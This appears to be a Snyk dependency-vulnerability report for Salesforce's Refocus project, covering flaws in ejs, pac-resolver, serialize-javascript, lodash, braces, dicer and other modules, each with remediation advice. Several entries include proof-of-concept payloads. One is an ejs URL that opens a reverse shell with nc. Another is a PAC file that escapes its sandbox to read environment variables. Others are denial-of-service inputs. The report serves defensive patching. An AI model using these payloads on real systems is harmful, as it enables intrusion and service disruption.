The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. Otherwise, Upgrade ejs to version 2.5.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: passport-saml@0.15.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xml-encryption@0.7.4 ejs@0.8.8
    Remediation: Upgrade to passport-saml@1.3.2.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Arbitrary Code Execution

  • Vulnerable module: js-yaml
  • Introduced through: jscs@3.0.7

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 js-yaml@3.4.6

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: pac-resolver
  • Introduced through: @salesforce/refocus-collector@1.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 superagent-proxy@1.0.3 proxy-agent@2.3.1 pac-proxy-agent@2.0.2 pac-resolver@3.0.0

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

PoC

const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable):
setInterval(() => {
    console.log("Still running");
}, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code:
pac(`
    // Real PAC config:
    function FindProxyForURL(url, host) {
        return "DIRECT";
    }

    // But also run arbitrary code:
    var f = this.constructor.constructor(\`
        // Running outside the sandbox:
        console.log('Read env vars:', process.env);
        console.log('!!! PAC file is running arbitrary code !!!');
        console.log('Can read & could exfiltrate env vars ^');
        console.log('Can kill parsing process, like so:');
        process.exit(100); // Kill the vulnerable process
        // etc etc
    \`);

    f();

Remediation

Upgrade pac-resolver to version 5.0.0 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: pug
  • Introduced through: pug@2.0.4 and kue@0.11.6

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af pug@2.0.4
    Remediation: Upgrade to pug@3.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af kue@0.11.6 pug@2.0.4

Overview

pug is an A clean, whitespace-sensitive template language for writing HTML

Affected versions of this package are vulnerable to Remote Code Execution (RCE). If a remote attacker was able to control the pretty option of the pug compiler, e.g. if you spread a user provided object such as the query parameters of a request into the pug template inputs, it was possible for them to achieve remote code execution on the node.js backend.

Remediation

Upgrade pug to version 3.0.1 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: serialize-javascript@1.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af serialize-javascript@1.9.1
    Remediation: Upgrade to serialize-javascript@2.1.1.

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions.

NOTE: This vulnerability has also been identified as: CVE-2019-16769

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 2.1.1 or higher.

References

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: serialize-javascript@1.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af serialize-javascript@1.9.1
    Remediation: Upgrade to serialize-javascript@2.1.1.

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions.

NOTE: This vulnerability has also been identified as: CVE-2019-16772

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 2.1.1 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: netmask
  • Introduced through: express-ipfilter@0.0.24 and @salesforce/refocus-collector@1.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 netmask@1.0.6
    Remediation: Upgrade to express-ipfilter@0.0.25.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 superagent-proxy@1.0.3 proxy-agent@2.3.1 pac-proxy-agent@2.0.2 pac-resolver@3.0.0 netmask@1.0.6

Overview

netmask is a library to parse IPv4 CIDR blocks.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). It incorrectly evaluates individual IPv4 octets that contain octal strings as left-stripped integers, leading to an inordinate attack surface on hundreds of thousands of projects that rely on netmask to filter or evaluate IPv4 block ranges, both inbound and outbound.

For example, a remote unauthenticated attacker can request local resources using input data 0177.0.0.1 (127.0.0.1), which netmask evaluates as the public IP 177.0.0.1. Contrastingly, a remote authenticated or unauthenticated attacker can input the data 0127.0.0.01 (87.0.0.1) as localhost, yet the input data is a public IP and can potentially cause local and remote file inclusion (LFI/RFI). A remote authenticated or unauthenticated attacker can bypass packages that rely on netmask to filter IP address blocks to reach intranets, VPNs, containers, adjacent VPC instances, or LAN hosts, using input data such as 012.0.0.1 (10.0.0.1), which netmask evaluates as 12.0.0.1 (public).

NOTE: This vulnerability has also been identified as: CVE-2021-29418

Remediation

Upgrade netmask to version 2.0.1 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: netmask
  • Introduced through: express-ipfilter@0.0.24 and @salesforce/refocus-collector@1.3.0

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 netmask@1.0.6
    Remediation: Upgrade to express-ipfilter@0.0.25.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af @salesforce/refocus-collector@1.3.0 superagent-proxy@1.0.3 proxy-agent@2.3.1 pac-proxy-agent@2.0.2 pac-resolver@3.0.0 netmask@1.0.6

Overview

netmask is a library to parse IPv4 CIDR blocks.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). It incorrectly evaluates individual IPv4 octets that contain octal strings as left-stripped integers, leading to an inordinate attack surface on hundreds of thousands of projects that rely on netmask to filter or evaluate IPv4 block ranges, both inbound and outbound.

For example, a remote unauthenticated attacker can request local resources using input data 0177.0.0.1 (127.0.0.1), which netmask evaluates as the public IP 177.0.0.1. Contrastingly, a remote authenticated or unauthenticated attacker can input the data 0127.0.0.01 (87.0.0.1) as localhost, yet the input data is a public IP and can potentially cause local and remote file inclusion (LFI/RFI). A remote authenticated or unauthenticated attacker can bypass packages that rely on netmask to filter IP address blocks to reach intranets, VPNs, containers, adjacent VPC instances, or LAN hosts, using input data such as 012.0.0.1 (10.0.0.1), which netmask evaluates as 12.0.0.1 (public).

NOTE: This vulnerability has also been identified as: CVE-2021-28918

Remediation

Upgrade netmask to version 2.0.1 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: serialize-javascript
  • Introduced through: serialize-javascript@1.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af serialize-javascript@1.9.1
    Remediation: Upgrade to serialize-javascript@3.1.0.

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Arbitrary Code Injection. An object like {"foo": /1"/, "bar": "a\"@__R-<UID>-0__@"} would be serialized as {"foo": /1"/, "bar": "a\/1"/}, meaning an attacker could escape out of bar if they controlled both foo and bar and were able to guess the value of <UID>. UID is generated once on startup, is chosen using Math.random() and has a keyspace of roughly 4 billion, so within the realm of an online attack.

PoC

eval('('+ serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@'}) + ')');

Remediation

Upgrade serialize-javascript to version 3.1.0 or higher.

References

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: npm-watch@0.1.9, gulp@3.9.1 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 braces@2.3.2
    Remediation: Upgrade to npm-watch@0.7.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 liftoff@2.5.0 findup-sync@2.0.0 micromatch@3.1.10 braces@2.3.2
    Remediation: Upgrade to gulp@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 anymatch@2.0.0 micromatch@3.1.10 braces@2.3.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af npm-watch@0.1.9 nodemon@1.19.4 chokidar@2.1.8 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 readdirp@2.2.1 micromatch@3.1.10 braces@2.3.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 watchpack@0.2.9 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to webpack@5.0.0.

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: multer@1.4.4 and swagger-tools@0.10.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af multer@1.4.4 busboy@0.2.14 dicer@0.2.5
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af swagger-tools@0.10.1 multer@1.4.4 busboy@0.2.14 dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC

await fetch('http://127.0.0.1:8000', { method: 'POST', headers: { ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro', ['content-length']: '145', connection: 'keep-alive', }, body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--' });

Remediation

There is no fixed version for dicer.

References

high severity

Prototype Pollution

  • Vulnerable module: loader-utils
  • Introduced through: babel-loader@6.1.0, extract-text-webpack-plugin@0.8.2 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af babel-loader@6.1.0 loader-utils@0.2.17
    Remediation: Upgrade to babel-loader@7.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af extract-text-webpack-plugin@0.8.2 loader-utils@0.2.17
    Remediation: Upgrade to extract-text-webpack-plugin@2.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af html-webpack-plugin@2.30.1 loader-utils@0.2.17
    Remediation: Upgrade to html-webpack-plugin@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af webpack@1.15.0 loader-utils@0.2.17
    Remediation: Upgrade to webpack@3.0.0.

Overview

Affected versions of this package are vulnerable to Prototype Pollution in parseQuery function via the name variable in parseQuery.js. This pollutes the prototype of the object returned by parseQuery and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade loader-utils to version 1.4.1, 2.0.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: lodash
  • Introduced through: express-ipfilter@0.0.24, jscs@3.0.7 and others

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af express-ipfilter@0.0.24 lodash@3.10.1
    Remediation: Upgrade to express-ipfilter@1.0.1.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 xmlbuilder@3.1.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af jscs@3.0.7 jscs-jsdoc@2.0.0 jsdoctypeparser@1.2.0 lodash@3.10.1
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 lodash@1.0.2
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af nock@3.6.0 lodash@2.4.1
    Remediation: Upgrade to nock@8.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af passport-saml@0.15.0 xmlbuilder@2.5.2 lodash@3.2.0

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.

PoC

lodash.zipobjectdeep:

const zipObjectDeep = require("lodash.zipobjectdeep");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

lodash:

const test = require("lodash");

let emptyObject = {};


console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined

test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function

console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade lodash to version 4.17.17 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: minimatch
  • Introduced through: gulp@3.9.1

Detailed paths

  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 minimatch@2.0.10
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-stream@3.1.18 glob@4.5.3 minimatch@2.0.10
    Remediation: Upgrade to gulp@4.0.0.
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 minimatch@0.2.14
  • Introduced through: Refocus@salesforce/refocus#78051d2a38e21e2944bd522934fb94ff7dc244af gulp@3.9.1 vinyl-fs@0.3.14 glob-watcher@0.0.6 gaze@0.5.2 globule@0.1.0 glob@3.1.21 minimatch@0.2.14

Overview

minimatch is a minimal matching utility.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

